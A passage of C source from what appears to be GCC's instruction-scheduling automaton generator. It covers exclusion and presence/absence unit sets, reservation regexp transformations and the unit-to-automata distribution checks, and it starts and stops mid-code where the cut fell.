(automata_list_el_1 = (const_automata_list_el_t) automata_list_1, automata_list_el_2 = (const_automata_list_el_t) automata_list_2; automata_list_el_1 != NULL && automata_list_el_2 != NULL; automata_list_el_1 = automata_list_el_1->next_automata_list_el, automata_list_el_2 = automata_list_el_2->next_automata_list_el) if (automata_list_el_1->automaton != automata_list_el_2->automaton) return 0; return automata_list_el_1 == automata_list_el_2; } /* Initialization of the abstract data. */ static void initiate_automata_lists (void) { first_free_automata_list_el = NULL; automata_list_table = htab_create (1500, automata_list_hash, automata_list_eq_p, (htab_del) 0); } /* The following function starts new automata list and makes it the current one. */ static void automata_list_start (void) { current_automata_list = NULL; } /* The following function adds AUTOMATON to the current list. */ static void automata_list_add (automaton_t automaton) { automata_list_el_t el; el = get_free_automata_list_el (); el->automaton = automaton; el->next_automata_list_el = current_automata_list; current_automata_list = el; } /* The following function finishes forming the current list, inserts it into the table and returns it. */ static automata_list_el_t automata_list_finish (void) { void **entry_ptr; if (current_automata_list == NULL) return NULL; entry_ptr = htab_find_slot (automata_list_table, (void *) current_automata_list, 1); if (*entry_ptr == NULL) *entry_ptr = (void *) current_automata_list; else free_automata_list (current_automata_list); current_automata_list = NULL; return (automata_list_el_t) *entry_ptr; } /* Finishing work with the abstract data. */ static void finish_automata_lists (void) { htab_delete (automata_list_table); } /* The page contains abstract data for work with exclusion sets (see exclusion_set in file rtl.def). */ /* The following variable refers to an exclusion set returned by get_excl_set. This is bit string of length equal to cpu units number. If exclusion set for given unit contains 1 for a unit, then simultaneous reservation of the units is prohibited. */ static reserv_sets_t excl_set; /* The array contains exclusion sets for each unit. */ static reserv_sets_t *unit_excl_set_table; /* The following function forms the array containing exclusion sets for each unit. */ static void initiate_excl_sets (void) { decl_t decl; reserv_sets_t unit_excl_set; unit_set_el_t el; int i; obstack_blank (&irp, els_in_cycle_reserv * sizeof (set_el_t)); excl_set = (reserv_sets_t) obstack_base (&irp); obstack_finish (&irp); obstack_blank (&irp, description->units_num * sizeof (reserv_sets_t)); unit_excl_set_table = (reserv_sets_t *) obstack_base (&irp); obstack_finish (&irp); /* Evaluate unit exclusion sets. */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit) { obstack_blank (&irp, els_in_cycle_reserv * sizeof (set_el_t)); unit_excl_set = (reserv_sets_t) obstack_base (&irp); obstack_finish (&irp); memset (unit_excl_set, 0, els_in_cycle_reserv * sizeof (set_el_t)); for (el = DECL_UNIT (decl)->excl_list; el != NULL; el = el->next_unit_set_el) { SET_BIT (unit_excl_set, el->unit_decl->unit_num); el->unit_decl->in_set_p = TRUE; } unit_excl_set_table [DECL_UNIT (decl)->unit_num] = unit_excl_set; } } } /* The function sets up and return EXCL_SET which is union of exclusion sets for each unit in IN_SET. */ static reserv_sets_t get_excl_set (reserv_sets_t in_set) { int excl_char_num; int chars_num; int i; int start_unit_num; int unit_num; chars_num = els_in_cycle_reserv * sizeof (set_el_t); memset (excl_set, 0, chars_num); for (excl_char_num = 0; excl_char_num < chars_num; excl_char_num++) if (((unsigned char *) in_set) [excl_char_num]) for (i = CHAR_BIT - 1; i >= 0; i--) if ((((unsigned char *) in_set) [excl_char_num] >> i) & 1) { start_unit_num = excl_char_num * CHAR_BIT + i; if (start_unit_num >= description->units_num) return excl_set; for (unit_num = 0; unit_num < els_in_cycle_reserv; unit_num++) { excl_set [unit_num] |= unit_excl_set_table [start_unit_num] [unit_num]; } } return excl_set; } /* The page contains abstract data for work with presence/absence pattern sets (see presence_set/absence_set in file rtl.def). */ /* The following arrays contain correspondingly presence, final presence, absence, and final absence patterns for each unit. */ static pattern_reserv_t *unit_presence_set_table; static pattern_reserv_t *unit_final_presence_set_table; static pattern_reserv_t *unit_absence_set_table; static pattern_reserv_t *unit_final_absence_set_table; /* The following function forms list of reservation sets for given PATTERN_LIST. */ static pattern_reserv_t form_reserv_sets_list (pattern_set_el_t pattern_list) { pattern_set_el_t el; pattern_reserv_t first, curr, prev; int i; prev = first = NULL; for (el = pattern_list; el != NULL; el = el->next_pattern_set_el) { curr = XCREATENODE (struct pattern_reserv); curr->reserv = alloc_empty_reserv_sets (); curr->next_pattern_reserv = NULL; for (i = 0; i < el->units_num; i++) { SET_BIT (curr->reserv, el->unit_decls [i]->unit_num); el->unit_decls [i]->in_set_p = TRUE; } if (prev != NULL) prev->next_pattern_reserv = curr; else first = curr; prev = curr; } return first; } /* The following function forms the array containing presence and absence pattern sets for each unit. */ static void initiate_presence_absence_pattern_sets (void) { decl_t decl; int i; obstack_blank (&irp, description->units_num * sizeof (pattern_reserv_t)); unit_presence_set_table = (pattern_reserv_t *) obstack_base (&irp); obstack_finish (&irp); obstack_blank (&irp, description->units_num * sizeof (pattern_reserv_t)); unit_final_presence_set_table = (pattern_reserv_t *) obstack_base (&irp); obstack_finish (&irp); obstack_blank (&irp, description->units_num * sizeof (pattern_reserv_t)); unit_absence_set_table = (pattern_reserv_t *) obstack_base (&irp); obstack_finish (&irp); obstack_blank (&irp, description->units_num * sizeof (pattern_reserv_t)); unit_final_absence_set_table = (pattern_reserv_t *) obstack_base (&irp); obstack_finish (&irp); /* Evaluate unit presence/absence sets. */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit) { unit_presence_set_table [DECL_UNIT (decl)->unit_num] = form_reserv_sets_list (DECL_UNIT (decl)->presence_list); unit_final_presence_set_table [DECL_UNIT (decl)->unit_num] = form_reserv_sets_list (DECL_UNIT (decl)->final_presence_list); unit_absence_set_table [DECL_UNIT (decl)->unit_num] = form_reserv_sets_list (DECL_UNIT (decl)->absence_list); unit_final_absence_set_table [DECL_UNIT (decl)->unit_num] = form_reserv_sets_list (DECL_UNIT (decl)->final_absence_list); } } } /* The function checks that CHECKED_SET satisfies all presence pattern sets for units in ORIGINAL_SET. The function returns TRUE if it is ok. */ static int check_presence_pattern_sets (reserv_sets_t checked_set, reserv_sets_t original_set, int final_p) { int char_num; int chars_num; int i; int start_unit_num; int unit_num; int presence_p; pattern_reserv_t pat_reserv; chars_num = els_in_cycle_reserv * sizeof (set_el_t); for (char_num = 0; char_num < chars_num; char_num++) if (((unsigned char *) original_set) [char_num]) for (i = CHAR_BIT - 1; i >= 0; i--) if ((((unsigned char *) original_set) [char_num] >> i) & 1) { start_unit_num = char_num * CHAR_BIT + i; if (start_unit_num >= description->units_num) break; if ((final_p && unit_final_presence_set_table [start_unit_num] == NULL) || (!final_p && unit_presence_set_table [start_unit_num] == NULL)) continue; presence_p = FALSE; for (pat_reserv = (final_p ? unit_final_presence_set_table [start_unit_num] : unit_presence_set_table [start_unit_num]); pat_reserv != NULL; pat_reserv = pat_reserv->next_pattern_reserv) { for (unit_num = 0; unit_num < els_in_cycle_reserv; unit_num++) if ((checked_set [unit_num] & pat_reserv->reserv [unit_num]) != pat_reserv->reserv [unit_num]) break; presence_p = presence_p || unit_num >= els_in_cycle_reserv; } if (!presence_p) return FALSE; } return TRUE; } /* The function checks that CHECKED_SET satisfies all absence pattern sets for units in ORIGINAL_SET. The function returns TRUE if it is ok. */ static int check_absence_pattern_sets (reserv_sets_t checked_set, reserv_sets_t original_set, int final_p) { int char_num; int chars_num; int i; int start_unit_num; int unit_num; pattern_reserv_t pat_reserv; chars_num = els_in_cycle_reserv * sizeof (set_el_t); for (char_num = 0; char_num < chars_num; char_num++) if (((unsigned char *) original_set) [char_num]) for (i = CHAR_BIT - 1; i >= 0; i--) if ((((unsigned char *) original_set) [char_num] >> i) & 1) { start_unit_num = char_num * CHAR_BIT + i; if (start_unit_num >= description->units_num) break; for (pat_reserv = (final_p ? unit_final_absence_set_table [start_unit_num] : unit_absence_set_table [start_unit_num]); pat_reserv != NULL; pat_reserv = pat_reserv->next_pattern_reserv) { for (unit_num = 0; unit_num < els_in_cycle_reserv; unit_num++) if ((checked_set [unit_num] & pat_reserv->reserv [unit_num]) != pat_reserv->reserv [unit_num] && pat_reserv->reserv [unit_num]) break; if (unit_num >= els_in_cycle_reserv) return FALSE; } } return TRUE; } /* This page contains code for transformation of original reservations described in .md file. The main goal of transformations is simplifying reservation and lifting up all `|' on the top of IR reservation representation. */ /* The following function makes copy of IR representation of reservation. The function also substitutes all reservations defined by define_reservation by corresponding value during making the copy. */ static regexp_t copy_insn_regexp (regexp_t regexp) { regexp_t result; int i; switch (regexp->mode) { case rm_reserv: result = copy_insn_regexp (REGEXP_RESERV (regexp)->reserv_decl->regexp); break; case rm_unit: result = XCOPYNODE (struct regexp, regexp); break; case rm_repeat: result = XCOPYNODE (struct regexp, regexp); REGEXP_REPEAT (result)->regexp = copy_insn_regexp (REGEXP_REPEAT (regexp)->regexp); break; case rm_sequence: result = XCOPYNODEVAR (struct regexp, regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_SEQUENCE (regexp)->regexps_num - 1)); for (i = 0; i <REGEXP_SEQUENCE (regexp)->regexps_num; i++) REGEXP_SEQUENCE (result)->regexps [i] = copy_insn_regexp (REGEXP_SEQUENCE (regexp)->regexps [i]); break; case rm_allof: result = XCOPYNODEVAR (struct regexp, regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_ALLOF (regexp)->regexps_num - 1)); for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) REGEXP_ALLOF (result)->regexps [i] = copy_insn_regexp (REGEXP_ALLOF (regexp)->regexps [i]); break; case rm_oneof: result = XCOPYNODEVAR (struct regexp, regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_ONEOF (regexp)->regexps_num - 1)); for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) REGEXP_ONEOF (result)->regexps [i] = copy_insn_regexp (REGEXP_ONEOF (regexp)->regexps [i]); break; case rm_nothing: result = XCOPYNODE (struct regexp, regexp); break; default: gcc_unreachable (); } return result; } /* The following variable is set up 1 if a transformation has been applied. */ static int regexp_transformed_p; /* The function makes transformation A*N -> A, A, ... */ static regexp_t transform_1 (regexp_t regexp) { int i; int repeat_num; regexp_t operand; pos_t pos; if (regexp->mode == rm_repeat) { repeat_num = REGEXP_REPEAT (regexp)->repeat_num; gcc_assert (repeat_num > 1); operand = REGEXP_REPEAT (regexp)->regexp; pos = regexp->mode; regexp = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (repeat_num - 1)); regexp->mode = rm_sequence; regexp->pos = pos; REGEXP_SEQUENCE (regexp)->regexps_num = repeat_num; for (i = 0; i < repeat_num; i++) REGEXP_SEQUENCE (regexp)->regexps [i] = copy_insn_regexp (operand); regexp_transformed_p = 1; } return regexp; } /* The function makes transformations ...,(A,B,...),C,... -> ...,A,B,...,C,... ...+(A+B+...)+C+... -> ...+A+B+...+C+... ...|(A|B|...)|C|... -> ...|A|B|...|C|... */ static regexp_t transform_2 (regexp_t regexp) { if (regexp->mode == rm_sequence) { regexp_t sequence = NULL; regexp_t result; int sequence_index = 0; int i, j; for (i = 0; i < REGEXP_SEQUENCE (regexp)->regexps_num; i++) if (REGEXP_SEQUENCE (regexp)->regexps [i]->mode == rm_sequence) { sequence_index = i; sequence = REGEXP_SEQUENCE (regexp)->regexps [i]; break; } if (i < REGEXP_SEQUENCE (regexp)->regexps_num) { gcc_assert (REGEXP_SEQUENCE (sequence)->regexps_num > 1 && REGEXP_SEQUENCE (regexp)->regexps_num > 1); result = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_SEQUENCE (regexp)->regexps_num + REGEXP_SEQUENCE (sequence)->regexps_num - 2)); result->mode = rm_sequence; result->pos = regexp->pos; REGEXP_SEQUENCE (result)->regexps_num = (REGEXP_SEQUENCE (regexp)->regexps_num + REGEXP_SEQUENCE (sequence)->regexps_num - 1); for (i = 0; i < REGEXP_SEQUENCE (regexp)->regexps_num; i++) if (i < sequence_index) REGEXP_SEQUENCE (result)->regexps [i] = copy_insn_regexp (REGEXP_SEQUENCE (regexp)->regexps [i]); else if (i > sequence_index) REGEXP_SEQUENCE (result)->regexps [i + REGEXP_SEQUENCE (sequence)->regexps_num - 1] = copy_insn_regexp (REGEXP_SEQUENCE (regexp)->regexps [i]); else for (j = 0; j < REGEXP_SEQUENCE (sequence)->regexps_num; j++) REGEXP_SEQUENCE (result)->regexps [i + j] = copy_insn_regexp (REGEXP_SEQUENCE (sequence)->regexps [j]); regexp_transformed_p = 1; regexp = result; } } else if (regexp->mode == rm_allof) { regexp_t allof = NULL; regexp_t result; int allof_index = 0; int i, j; for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) if (REGEXP_ALLOF (regexp)->regexps [i]->mode == rm_allof) { allof_index = i; allof = REGEXP_ALLOF (regexp)->regexps [i]; break; } if (i < REGEXP_ALLOF (regexp)->regexps_num) { gcc_assert (REGEXP_ALLOF (allof)->regexps_num > 1 && REGEXP_ALLOF (regexp)->regexps_num > 1); result = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_ALLOF (regexp)->regexps_num + REGEXP_ALLOF (allof)->regexps_num - 2)); result->mode = rm_allof; result->pos = regexp->pos; REGEXP_ALLOF (result)->regexps_num = (REGEXP_ALLOF (regexp)->regexps_num + REGEXP_ALLOF (allof)->regexps_num - 1); for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) if (i < allof_index) REGEXP_ALLOF (result)->regexps [i] = copy_insn_regexp (REGEXP_ALLOF (regexp)->regexps [i]); else if (i > allof_index) REGEXP_ALLOF (result)->regexps [i + REGEXP_ALLOF (allof)->regexps_num - 1] = copy_insn_regexp (REGEXP_ALLOF (regexp)->regexps [i]); else for (j = 0; j < REGEXP_ALLOF (allof)->regexps_num; j++) REGEXP_ALLOF (result)->regexps [i + j] = copy_insn_regexp (REGEXP_ALLOF (allof)->regexps [j]); regexp_transformed_p = 1; regexp = result; } } else if (regexp->mode == rm_oneof) { regexp_t oneof = NULL; regexp_t result; int oneof_index = 0; int i, j; for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) if (REGEXP_ONEOF (regexp)->regexps [i]->mode == rm_oneof) { oneof_index = i; oneof = REGEXP_ONEOF (regexp)->regexps [i]; break; } if (i < REGEXP_ONEOF (regexp)->regexps_num) { gcc_assert (REGEXP_ONEOF (oneof)->regexps_num > 1 && REGEXP_ONEOF (regexp)->regexps_num > 1); result = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_ONEOF (regexp)->regexps_num + REGEXP_ONEOF (oneof)->regexps_num - 2)); result->mode = rm_oneof; result->pos = regexp->pos; REGEXP_ONEOF (result)->regexps_num = (REGEXP_ONEOF (regexp)->regexps_num + REGEXP_ONEOF (oneof)->regexps_num - 1); for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) if (i < oneof_index) REGEXP_ONEOF (result)->regexps [i] = copy_insn_regexp (REGEXP_ONEOF (regexp)->regexps [i]); else if (i > oneof_index) REGEXP_ONEOF (result)->regexps [i + REGEXP_ONEOF (oneof)->regexps_num - 1] = copy_insn_regexp (REGEXP_ONEOF (regexp)->regexps [i]); else for (j = 0; j < REGEXP_ONEOF (oneof)->regexps_num; j++) REGEXP_ONEOF (result)->regexps [i + j] = copy_insn_regexp (REGEXP_ONEOF (oneof)->regexps [j]); regexp_transformed_p = 1; regexp = result; } } return regexp; } /* The function makes transformations ...,A|B|...,C,... -> (...,A,C,...)|(...,B,C,...)|... ...+(A|B|...)+C+... -> (...+A+C+...)|(...+B+C+...)|... ...+(A,B,...)+C+... -> (...+A+C+...),B,... ...+(A,B,...)+(C,D,...) -> (A+C),(B+D),... */ static regexp_t transform_3 (regexp_t regexp) { if (regexp->mode == rm_sequence) { regexp_t oneof = NULL; int oneof_index = 0; regexp_t result; regexp_t sequence; int i, j; for (i = 0; i <REGEXP_SEQUENCE (regexp)->regexps_num; i++) if (REGEXP_SEQUENCE (regexp)->regexps [i]->mode == rm_oneof) { oneof_index = i; oneof = REGEXP_SEQUENCE (regexp)->regexps [i]; break; } if (i < REGEXP_SEQUENCE (regexp)->regexps_num) { gcc_assert (REGEXP_ONEOF (oneof)->regexps_num > 1 && REGEXP_SEQUENCE (regexp)->regexps_num > 1); result = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_ONEOF (oneof)->regexps_num - 1)); result->mode = rm_oneof; result->pos = regexp->pos; REGEXP_ONEOF (result)->regexps_num = REGEXP_ONEOF (oneof)->regexps_num; for (i = 0; i < REGEXP_ONEOF (result)->regexps_num; i++) { sequence = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_SEQUENCE (regexp)->regexps_num - 1)); sequence->mode = rm_sequence; sequence->pos = regexp->pos; REGEXP_SEQUENCE (sequence)->regexps_num = REGEXP_SEQUENCE (regexp)->regexps_num; REGEXP_ONEOF (result)->regexps [i] = sequence; for (j = 0; j < REGEXP_SEQUENCE (sequence)->regexps_num; j++) if (j != oneof_index) REGEXP_SEQUENCE (sequence)->regexps [j] = copy_insn_regexp (REGEXP_SEQUENCE (regexp)->regexps [j]); else REGEXP_SEQUENCE (sequence)->regexps [j] = copy_insn_regexp (REGEXP_ONEOF (oneof)->regexps [i]); } regexp_transformed_p = 1; regexp = result; } } else if (regexp->mode == rm_allof) { regexp_t oneof = NULL; regexp_t seq; int oneof_index = 0; int max_seq_length, allof_length; regexp_t result; regexp_t allof = NULL; regexp_t allof_op = NULL; int i, j; for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) if (REGEXP_ALLOF (regexp)->regexps [i]->mode == rm_oneof) { oneof_index = i; oneof = REGEXP_ALLOF (regexp)->regexps [i]; break; } if (i < REGEXP_ALLOF (regexp)->regexps_num) { gcc_assert (REGEXP_ONEOF (oneof)->regexps_num > 1 && REGEXP_ALLOF (regexp)->regexps_num > 1); result = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_ONEOF (oneof)->regexps_num - 1)); result->mode = rm_oneof; result->pos = regexp->pos; REGEXP_ONEOF (result)->regexps_num = REGEXP_ONEOF (oneof)->regexps_num; for (i = 0; i < REGEXP_ONEOF (result)->regexps_num; i++) { allof = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (REGEXP_ALLOF (regexp)->regexps_num - 1)); allof->mode = rm_allof; allof->pos = regexp->pos; REGEXP_ALLOF (allof)->regexps_num = REGEXP_ALLOF (regexp)->regexps_num; REGEXP_ONEOF (result)->regexps [i] = allof; for (j = 0; j < REGEXP_ALLOF (allof)->regexps_num; j++) if (j != oneof_index) REGEXP_ALLOF (allof)->regexps [j] = copy_insn_regexp (REGEXP_ALLOF (regexp)->regexps [j]); else REGEXP_ALLOF (allof)->regexps [j] = copy_insn_regexp (REGEXP_ONEOF (oneof)->regexps [i]); } regexp_transformed_p = 1; regexp = result; } max_seq_length = 0; if (regexp->mode == rm_allof) for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) { switch (REGEXP_ALLOF (regexp)->regexps [i]->mode) { case rm_sequence: seq = REGEXP_ALLOF (regexp)->regexps [i]; if (max_seq_length < REGEXP_SEQUENCE (seq)->regexps_num) max_seq_length = REGEXP_SEQUENCE (seq)->regexps_num; break; case rm_unit: case rm_nothing: break; default: max_seq_length = 0; goto break_for; } } break_for: if (max_seq_length != 0) { gcc_assert (max_seq_length != 1 && REGEXP_ALLOF (regexp)->regexps_num > 1); result = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (max_seq_length - 1)); result->mode = rm_sequence; result->pos = regexp->pos; REGEXP_SEQUENCE (result)->regexps_num = max_seq_length; for (i = 0; i < max_seq_length; i++) { allof_length = 0; for (j = 0; j < REGEXP_ALLOF (regexp)->regexps_num; j++) switch (REGEXP_ALLOF (regexp)->regexps [j]->mode) { case rm_sequence: if (i < (REGEXP_SEQUENCE (REGEXP_ALLOF (regexp) ->regexps [j])->regexps_num)) { allof_op = (REGEXP_SEQUENCE (REGEXP_ALLOF (regexp) ->regexps [j]) ->regexps [i]); allof_length++; } break; case rm_unit: case rm_nothing: if (i == 0) { allof_op = REGEXP_ALLOF (regexp)->regexps [j]; allof_length++; } break; default: break; } if (allof_length == 1) REGEXP_SEQUENCE (result)->regexps [i] = allof_op; else { allof = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (allof_length - 1)); allof->mode = rm_allof; allof->pos = regexp->pos; REGEXP_ALLOF (allof)->regexps_num = allof_length; REGEXP_SEQUENCE (result)->regexps [i] = allof; allof_length = 0; for (j = 0; j < REGEXP_ALLOF (regexp)->regexps_num; j++) if (REGEXP_ALLOF (regexp)->regexps [j]->mode == rm_sequence && (i < (REGEXP_SEQUENCE (REGEXP_ALLOF (regexp) ->regexps [j])->regexps_num))) { allof_op = (REGEXP_SEQUENCE (REGEXP_ALLOF (regexp) ->regexps [j]) ->regexps [i]); REGEXP_ALLOF (allof)->regexps [allof_length] = allof_op; allof_length++; } else if (i == 0 && (REGEXP_ALLOF (regexp)->regexps [j]->mode == rm_unit || (REGEXP_ALLOF (regexp)->regexps [j]->mode == rm_nothing))) { allof_op = REGEXP_ALLOF (regexp)->regexps [j]; REGEXP_ALLOF (allof)->regexps [allof_length] = allof_op; allof_length++; } } } regexp_transformed_p = 1; regexp = result; } } return regexp; } /* The function traverses IR of reservation and applies transformations implemented by FUNC. */ static regexp_t regexp_transform_func (regexp_t regexp, regexp_t (*func) (regexp_t regexp)) { int i; switch (regexp->mode) { case rm_sequence: for (i = 0; i < REGEXP_SEQUENCE (regexp)->regexps_num; i++) REGEXP_SEQUENCE (regexp)->regexps [i] = regexp_transform_func (REGEXP_SEQUENCE (regexp)->regexps [i], func); break; case rm_allof: for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) REGEXP_ALLOF (regexp)->regexps [i] = regexp_transform_func (REGEXP_ALLOF (regexp)->regexps [i], func); break; case rm_oneof: for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) REGEXP_ONEOF (regexp)->regexps [i] = regexp_transform_func (REGEXP_ONEOF (regexp)->regexps [i], func); break; case rm_repeat: REGEXP_REPEAT (regexp)->regexp = regexp_transform_func (REGEXP_REPEAT (regexp)->regexp, func); break; case rm_nothing: case rm_unit: break; default: gcc_unreachable (); } return (*func) (regexp); } /* The function applies all transformations for IR representation of reservation REGEXP. */ static regexp_t transform_regexp (regexp_t regexp) { regexp = regexp_transform_func (regexp, transform_1); do { regexp_transformed_p = 0; regexp = regexp_transform_func (regexp, transform_2); regexp = regexp_transform_func (regexp, transform_3); } while (regexp_transformed_p); return regexp; } /* The function applies all transformations for reservations of all insn declarations. */ static void transform_insn_regexps (void) { decl_t decl; int i; transform_time = create_ticker (); add_advance_cycle_insn_decl (); if (progress_flag) fprintf (stderr, "Reservation transformation..."); for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv && decl != advance_cycle_insn_decl) DECL_INSN_RESERV (decl)->transformed_regexp = transform_regexp (copy_insn_regexp (DECL_INSN_RESERV (decl)->regexp)); } if (progress_flag) fprintf (stderr, "done\n"); ticker_off (&transform_time); } /* The following variable value is TRUE if the first annotated message about units to automata distribution has been output. */ static int annotation_message_reported_p; /* The following structure describes usage of a unit in a reservation. */ struct unit_usage { unit_decl_t unit_decl; /* The following forms a list of units used on the same cycle in the same alternative. */ struct unit_usage *next; }; typedef struct unit_usage *unit_usage_t; DEF_VEC_P(unit_usage_t); DEF_VEC_ALLOC_P(unit_usage_t,heap); /* Obstack for unit_usage structures. */ static struct obstack unit_usages; /* VLA for representation of array of pointers to unit usage structures. There is an element for each combination of (alternative number, cycle). Unit usages on given cycle in alternative with given number are referred through element with index equals to the cycle * number of all alternatives in the regexp + the alternative number. */ static VEC(unit_usage_t,heap) *cycle_alt_unit_usages; /* The following function creates the structure unit_usage for UNIT on CYCLE in REGEXP alternative with ALT_NUM. The structure is made accessed through cycle_alt_unit_usages. */ static void store_alt_unit_usage (regexp_t regexp, regexp_t unit, int cycle, int alt_num) { size_t length; unit_decl_t unit_decl; unit_usage_t unit_usage_ptr; int index; gcc_assert (regexp && regexp->mode == rm_oneof && alt_num < REGEXP_ONEOF (regexp)->regexps_num); unit_decl = REGEXP_UNIT (unit)->unit_decl; length = (cycle + 1) * REGEXP_ONEOF (regexp)->regexps_num; while (VEC_length (unit_usage_t, cycle_alt_unit_usages) < length) VEC_safe_push (unit_usage_t,heap, cycle_alt_unit_usages, 0); obstack_blank (&unit_usages, sizeof (struct unit_usage)); unit_usage_ptr = (struct unit_usage *) obstack_base (&unit_usages); obstack_finish (&unit_usages); unit_usage_ptr->unit_decl = unit_decl; index = cycle * REGEXP_ONEOF (regexp)->regexps_num + alt_num; unit_usage_ptr->next = VEC_index (unit_usage_t, cycle_alt_unit_usages, index); VEC_replace (unit_usage_t, cycle_alt_unit_usages, index, unit_usage_ptr); unit_decl->last_distribution_check_cycle = -1; /* undefined */ } /* The function processes given REGEXP to find units with the wrong distribution. */ static void check_regexp_units_distribution (const char *insn_reserv_name, regexp_t regexp) { int i, j, k, cycle; regexp_t seq, allof, unit; struct unit_usage *unit_usage_ptr, *other_unit_usage_ptr; if (regexp == NULL || regexp->mode != rm_oneof) return; /* Store all unit usages in the regexp: */ obstack_init (&unit_usages); cycle_alt_unit_usages = 0; for (i = REGEXP_ONEOF (regexp)->regexps_num - 1; i >= 0; i--) { seq = REGEXP_ONEOF (regexp)->regexps [i]; switch (seq->mode) { case rm_sequence: for (j = 0; j < REGEXP_SEQUENCE (seq)->regexps_num; j++) { allof = REGEXP_SEQUENCE (seq)->regexps [j]; switch (allof->mode) { case rm_allof: for (k = 0; k < REGEXP_ALLOF (allof)->regexps_num; k++) { unit = REGEXP_ALLOF (allof)->regexps [k]; if (unit->mode == rm_unit) store_alt_unit_usage (regexp, unit, j, i); else gcc_assert (unit->mode == rm_nothing); } break; case rm_unit: store_alt_unit_usage (regexp, allof, j, i); break; case rm_nothing: break; default: gcc_unreachable (); } } break; case rm_allof: for (k = 0; k < REGEXP_ALLOF (seq)->regexps_num; k++) { unit = REGEXP_ALLOF (seq)->regexps [k]; switch (unit->mode) { case rm_unit: store_alt_unit_usage (regexp, unit, 0, i); break; case rm_nothing: break; default: gcc_unreachable (); } } break; case rm_unit: store_alt_unit_usage (regexp, seq, 0, i); break; case rm_nothing: break; default: gcc_unreachable (); } } /* Check distribution: */ for (i = 0; i < (int) VEC_length (unit_usage_t, cycle_alt_unit_usages); i++) { cycle = i / REGEXP_ONEOF (regexp)->regexps_num; for (unit_usage_ptr = VEC_index (unit_usage_t, cycle_alt_unit_usages, i); unit_usage_ptr != NULL; unit_usage_ptr = unit_usage_ptr->next) if (cycle != unit_usage_ptr->unit_decl->last_distribution_check_cycle) { unit_usage_ptr->unit_decl->last_distribution_check_cycle = cycle; for (k = cycle * REGEXP_ONEOF (regexp)->regexps_num; k < (int) VEC_length (unit_usage_t, cycle_alt_unit_usages) && k == cycle * REGEXP_ONEOF (regexp)->regexps_num; k++) { for (other_unit_usage_ptr = VEC_index (unit_usage_t, cycle_alt_unit_usages, k); other_unit_usage_ptr != NULL; other_unit_usage_ptr = other_unit_usage_ptr->next) if (unit_usage_ptr->unit_decl->automaton_decl == other_unit_usage_ptr->unit_decl->automaton_decl) break; if (other_unit_usage_ptr == NULL && (VEC_index (unit_usage_t, cycle_alt_unit_usages, k) != NULL)) break; } if (k < (int) VEC_length (unit_usage_t, cycle_alt_unit_usages) && k == cycle * REGEXP_ONEOF (regexp)->regexps_num) { if (!annotation_message_reported_p) { fprintf (stderr, "\n"); error ("The following units do not satisfy units-automata distribution rule"); error (" (A unit of given unit automaton should be on each reserv. altern.)"); annotation_message_reported_p = TRUE; } error ("Unit %s, reserv. %s, cycle %d", unit_usage_ptr->unit_decl->name, insn_reserv_name, cycle); } } } VEC_free (unit_usage_t,heap, cycle_alt_unit_usages); obstack_free (&unit_usages, NULL); } /* The function finds units which violates units to automata distribution rule. If the units exist, report about them. */ static void check_unit_distributions_to_automata (void) { decl_t decl; int i; if (progress_flag) fprintf (stderr, "Check unit distributions to automata..."); annotation_message_reported_p = FALSE; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv) check_regexp_units_distribution (DECL_INSN_RESERV (decl)->name, DECL_INSN_RESERV (decl)->transformed_regexp); } if (progress_flag) fprintf (stderr, "done\n"); } /* The page contains code for building alt_states (see comments for IR) describing all possible insns reservations of an automaton. */ /* Current state being formed for which the current alt_state refers. */ static state_t state_being_formed; /* Current alt_state being formed. */ static alt_state_t alt_state_being_formed; /* This recursive function processes `,' and units in reservation REGEXP for forming alt_states of AUTOMATON. It is believed that CURR_CYCLE is start cycle of all reservation REGEXP. */ static int process_seq_for_forming_states (regexp_t regexp, automaton_t automaton, int curr_cycle) { int i; if (regexp == NULL) return curr_cycle; switch (regexp->mode) { case rm_unit: if (REGEXP_UNIT (regexp)->unit_decl->corresponding_automaton_num == automaton->automaton_order_num) set_state_reserv (state_being_formed, curr_cycle, REGEXP_UNIT (regexp)->unit_decl->unit_num); return curr_cycle; case rm_sequence: for (i = 0; i < REGEXP_SEQUENCE (regexp)->regexps_num; i++) curr_cycle = process_seq_for_forming_states (REGEXP_SEQUENCE (regexp)->regexps [i], automaton, curr_cycle) + 1; return curr_cycle; case rm_allof: { int finish_cycle = 0; int cycle; for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) { cycle = process_seq_for_forming_states (REGEXP_ALLOF (regexp) ->regexps [i], automaton, curr_cycle); if (finish_cycle < cycle) finish_cycle = cycle; } return finish_cycle; } case 